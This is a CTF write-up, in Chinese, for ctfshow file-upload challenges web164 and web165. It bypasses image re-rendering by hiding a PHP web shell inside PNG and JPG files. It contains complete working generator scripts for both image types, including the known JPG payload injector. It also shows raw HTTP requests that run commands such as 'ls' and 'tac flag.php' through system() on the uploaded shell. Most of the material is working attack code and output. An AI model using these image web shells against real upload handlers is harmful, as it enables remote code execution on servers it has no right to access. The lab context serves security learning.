ctfshow-web入门-文件上传（web164、web165）图片二次渲染绕过

web164 和 web165 的利用点都是二次渲染，一个是 png，一个是 jpg

1、web164

2、web165

二次渲染：

网站服务器会对上传的图片进行二次处理，对文件内容进行替换更新，根据原有图片生成一个新的图片，这样就会改变文件原有的一些内容，我们需要将一句话木马插入到数据不会被改变的位置，确保一句话木马不会受到二次渲染的影响。

1、web164

生成图片马：

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33);$img = imagecreatetruecolor(32, 32);for ($y = 0; $y < sizeof($p); $y += 3) {$r = $p[$y];$g = $p[$y+1];$b = $p[$y+2];$color = imagecolorallocate($img, $r, $g, $b);imagesetpixel($img, round($y / 3), 0, $color);
}imagepng($img,'./my.png');
?>
#<?=$_GET[0]($_POST[1]);?>

上传图片马：

这道题我最开始弄的时候老是有问题，报错：

Warning</b>:  system(): Cannot execute a blank command in <b>/var/www/html/upload/b62bc6b55a1f2b368380dc1fbea2e71b.png

说是没有给 system 提供参数，我明明 post 传了 1=ls。

有一个问题就是，当你在上传图片马之后，点击查看图片：

这里默认的请求方式是 GET：

如果你去抓这个 get 请求的包，然后添加传参是不行的。

（后面做了下一题，发现是可以在 burpsuite 里面修改请求方式的，都要使用 post 请求）

稳妥点的做法：

查看图片后，使用 hackbar 添加参数：

get 里面新增：

&0=system

post：

1=ls

一定要先添加成上图所示后，再使用 burpsuite 抓包重放

有时候在 mode 为 raw 下发包，也可看到回显

有时候又不行了：

对比下这两个请求包的差别

有回显的：

POST /download.php?image=8b55fd4ed5b3ea99cdab4f296c58c31e.png&0=system HTTP/1.1
Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126", "Microsoft Edge";v="126"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: Windows
Upgrade-Insecure-Requests: 1
Origin: https://12e7667e-389f-45a8-ab1a-cfc3c0a4e938.challenge.ctf.show
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://12e7667e-389f-45a8-ab1a-cfc3c0a4e938.challenge.ctf.show/download.php?image=8b55fd4ed5b3ea99cdab4f296c58c31e.png
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q1=ls

无回显的：

POST /download.php?image=db94064d6001c8ebbd832d00f278f83f.png&0=system HTTP/1.1
Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126", "Microsoft Edge";v="126"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://43c4f510-9863-431a-b391-24ee2c8482da.challenge.ctf.show/
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q1=ls

终于让我找到问题所在了：

没有回显

添加请求头：

Content-Type: application/x-www-form-urlencoded

回显正常

读取 flag：

1=tac flag.php

ctfshow{7ee33e2a-9fb7-48b3-a089-be283761f45e}

2、web165

使用脚本生成绕过二次渲染的 jpg 图片马：

<?php/*The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().It is necessary that the size and quality of the initial image are the same as those of the processed image.1) Upload an arbitrary image via secured files upload script2) Save the processed image and launch:jpg_payload.php <jpg_name.jpg>In case of successful injection you will get a specially crafted image, which should be uploaded again.Since the most straightforward injection method is used, the following problems can occur:1) After the second processing the injected data may become partially corrupted.2) The jpg_payload.php script outputs "Something's wrong".If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.Sergey Bobrov @Black2Fan.See also:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/*/$miniPayload = "<?=eval(\$_POST[1]);?>"; //注意$转义if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {die('php-gd is not installed');}if(!isset($argv[1])) {die('php jpg_payload.php <jpg_name.jpg>');}set_error_handler("custom_error_handler");for($pad = 0; $pad < 1024; $pad++) {$nullbytePayloadSize = $pad;$dis = new DataInputStream($argv[1]);$outStream = file_get_contents($argv[1]);$extraBytes = 0;$correctImage = TRUE;if($dis->readShort() != 0xFFD8) {die('Incorrect SOI marker');}while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {$marker = $dis->readByte();$size = $dis->readShort() - 2;$dis->skip($size);if($marker === 0xDA) {$startPos = $dis->seek();$outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos);checkImage('_'.$argv[1], $outStreamTmp, TRUE);if($extraBytes !== 0) {while((!$dis->eof())) {if($dis->readByte() === 0xFF) {if($dis->readByte !== 0x00) {break;}}}$stopPos = $dis->seek() - 2;$imageStreamSize = $stopPos - $startPos;$outStream = substr($outStream, 0, $startPos) . $miniPayload . substr(str_repeat("\0",$nullbytePayloadSize).substr($outStream, $startPos, $imageStreamSize),0,$nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos);} elseif($correctImage) {$outStream = $outStreamTmp;} else {break;}if(checkImage('payload_'.$argv[1], $outStream)) {die('Success!');} else {break;}}}}unlink('payload_'.$argv[1]);die('Something\'s wrong');function checkImage($filename, $data, $unlink = FALSE) {global $correctImage;file_put_contents($filename, $data);$correctImage = TRUE;imagecreatefromjpeg($filename);if($unlink)unlink($filename);return $correctImage;}function custom_error_handler($errno, $errstr, $errfile, $errline) {global $extraBytes, $correctImage;$correctImage = FALSE;if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {if(isset($m[1])) {$extraBytes = (int)$m[1];}}}class DataInputStream {private $binData;private $order;private $size;public function __construct($filename, $order = false, $fromString = false) {$this->binData = '';$this->order = $order;if(!$fromString) {if(!file_exists($filename) || !is_file($filename))die('File not exists ['.$filename.']');$this->binData = file_get_contents($filename);} else {$this->binData = $filename;}$this->size = strlen($this->binData);}public function seek() {return ($this->size - strlen($this->binData));}public function skip($skip) {$this->binData = substr($this->binData, $skip);}public function readByte() {if($this->eof()) {die('End Of File');}$byte = substr($this->binData, 0, 1);$this->binData = substr($this->binData, 1);return ord($byte);}public function readShort() {if(strlen($this->binData) < 2) {die('End Of File');}$short = substr($this->binData, 0, 2);$this->binData = substr($this->binData, 2);if($this->order) {$short = (ord($short[1]) << 8) + ord($short[0]);} else {$short = (ord($short[0]) << 8) + ord($short[1]);}return $short;}public function eof() {return !$this->binData||(strlen($this->binData) === 0);}}
?>

其中 test.jpg 是一张正常的 jpg 图片